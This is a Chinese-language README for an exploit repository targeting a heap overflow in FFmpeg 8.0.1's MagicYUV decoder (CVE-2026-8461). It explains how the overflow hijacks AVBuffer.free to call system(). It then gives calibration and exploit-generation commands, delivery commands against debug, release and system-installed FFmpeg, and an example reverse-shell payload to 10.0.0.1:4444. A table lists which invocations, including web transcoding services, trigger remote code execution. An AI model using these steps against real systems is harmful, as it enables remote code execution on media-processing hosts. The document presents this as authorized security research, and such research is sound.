[!WARNING] 本仓库包含一个针对堆损坏漏洞的有效利用 PoC。 仅供授权的安全研究、CTF 环境和防御性分析使用。 请勿对非你拥有或未经明确书面许可的系统进行测试。
受影响: FFmpeg 8.0.1 MagicYUV 解码器 (libavcodec/magicyuv.c)
原语: 堆 OOB 写入 → AVBuffer.free 劫持 → system() 调用
magy_decode_slice() 使用 sheight(未限制的切片高度)作为写入 Cb/Cr 输出平面的循环边界,但分配缓冲区时使用的是被限制的 height。在特制帧的最后一个切片上,循环写入了分配区域之外。
// magicyuv.c:291 — dst 指针已位于缓冲区起始之后 sheight×stride 处
for (i = 0; i < avctx->width >> s->hshift[plane]; i++)
dst[i] = get_vlc2(...); // 当 sheight > height 时发生 OOB 写入
越界写入落在随后分配的 AVBuffer 结构体上。通过控制写入的字节,AVBuffer.free 被覆盖为 system() 的地址,AVBuffer.opaque 被覆盖为堆上命令字符串的地址。当帧被释放时,av_buffer_unref() 调用 system(cmd)。
Python >= 3.8
GDB >= 9.0
kernel.randomize_va_space = 0 (ASLR 关闭 — 校准需要)
Python 依赖:无(仅标准库)。
sudo sysctl -w kernel.randomize_va_space=0
调试构建(使用 -g 编译,例如从源码 --enable-debug):
python3 auto_calibrate.py \
--ffmpeg /path/to/ffmpeg-debug \
--avi /tmp/exploit.avi \
-o calibration.json
发布构建(剥离符号的共享库,例如 apt install ffmpeg 或自定义 --enable-shared):
python3 auto_calibrate_nosym.py \
--ffmpeg /path/to/ffmpeg \
--libpath /path/to/ffmpeg/lib \
--avi /tmp/exploit.avi \
-o calibration.json
--avi路径在校准和利用交付中必须一致。 更改路径字符串长度会改变堆布局并使校准失效。
python3 exploit_cve_2026_8461.py \
--calibration calibration.json \
--cmd "id > /tmp/pwned" \
-o /tmp/exploit.avi
# 调试构建(静态链接)
/path/to/ffmpeg-debug -i /tmp/exploit.avi -f null -
# 发布构建(共享库)
LD_LIBRARY_PATH=/path/to/lib /path/to/ffmpeg -i /tmp/exploit.avi -f null -
# 系统安装的 FFmpeg (apt/yum)
ffmpeg -i /tmp/exploit.avi -f null -
预期输出:命令执行,然后进程崩溃,显示 corrupted size vs. prev_size。
cat /tmp/pwned
# uid=1000(user) gid=1000(user) groups=...

python3 exploit_cve_2026_8461.py \
--calibration calibration.json \
--cmd "bash -c 'bash -i >& /dev/tcp/10.0.0.1/4444 0>&1'" \
-o /tmp/exploit.avi
目标 FFmpeg 二进制文件
│
├─ 包含调试符号?(file ffmpeg | grep debug_info)
│ └─ 是 → auto_calibrate.py
│
└─ 剥离符号 / 发布版本
│
├─ 动态链接?(ldd ffmpeg | grep libavutil)
│ └─ 是 → auto_calibrate_nosym.py
│
└─ 静态链接 + 完全剥离符号
└─ 两个脚本均不适用
(需要 LD_PRELOAD malloc 钩子方法)
auto_calibrate_nosym.py 的工作原理:
av_buffer_create 上设置断点(该函数始终存在于 libavutil.so .dynsym 中),从而捕获 Cb 和 Cr 数据指针,无需源代码级符号。AVBuffer 结构体并提取 system() 地址。当目标解码视频帧(不仅仅是探测)时,利用会被触发:
为了演示漏洞而不执行命令:
python3 exploit_cve_2026_8461.py --baseline -o baseline.avi
ffmpeg -i baseline.avi -f null -
# 崩溃信息:free(): invalid pointer 或 corrupted size vs. prev_size
AVBuffer 结构体落在 Cb 平面 OOB 起始地址的 640 字节范围内。在 aarch64 上,glibc 的分配顺序将 AVBuffer 放置在该范围之外(相邻块是约 10 KB 的 Cr 缓冲区),因此使用当前的帧几何结构,OOB 写入无法到达该缓冲区。移植到 aarch64 需要分析 aarch64 的堆布局并相应调整帧几何结构。kernel.randomize_va_space=0)。启用 ASLR 后,堆地址每次运行都会随机化,校准不再适用。需要信息泄露原语才能将此利用扩展到启用 ASLR 的目标。auto_calibrate_nosym.py:需要一个动态链接的 FFmpeg,且 libavutil.so 可访问(在系统路径中或通过 --libpath 指定)。| 文件 | 描述 |
|---|
exploit_cve_2026_8461.py | 利用 AVI 生成器 — 构造恶意的 MagicYUV 比特流 |
auto_calibrate.py | 针对调试构建的自动校准(需要 -g 调试符号) |
auto_calibrate_nosym.py | 针对发布构建(剥离符号、共享库)的自动校准 |
CVE-2026-8461_Analysis_EN.md | 完整的漏洞分析(英文) |
CVE-2026-8461_Analysis.md | 完整的漏洞分析(中文) |
ffmpeg_prod | 用于本地测试的剥离符号的发布版 FFmpeg 8.0.1 二进制文件 |
| 调用方式 | 触发 RCE |
|---|
ffmpeg -i evil.avi -f null - | 是 |
ffmpeg -i evil.avi -o out.mp4 | 是 |
| Web 转码服务 (libavcodec 解码循环) | 是 |
| 使用 libavcodec 的视频播放器 | 是 |
ffmpeg -i evil.avi (未指定输出) | 否 — 进程在 av_buffer_unref 触发前终止 |
ffprobe evil.avi | 否 — 仅探测路径,不进行完整解码 |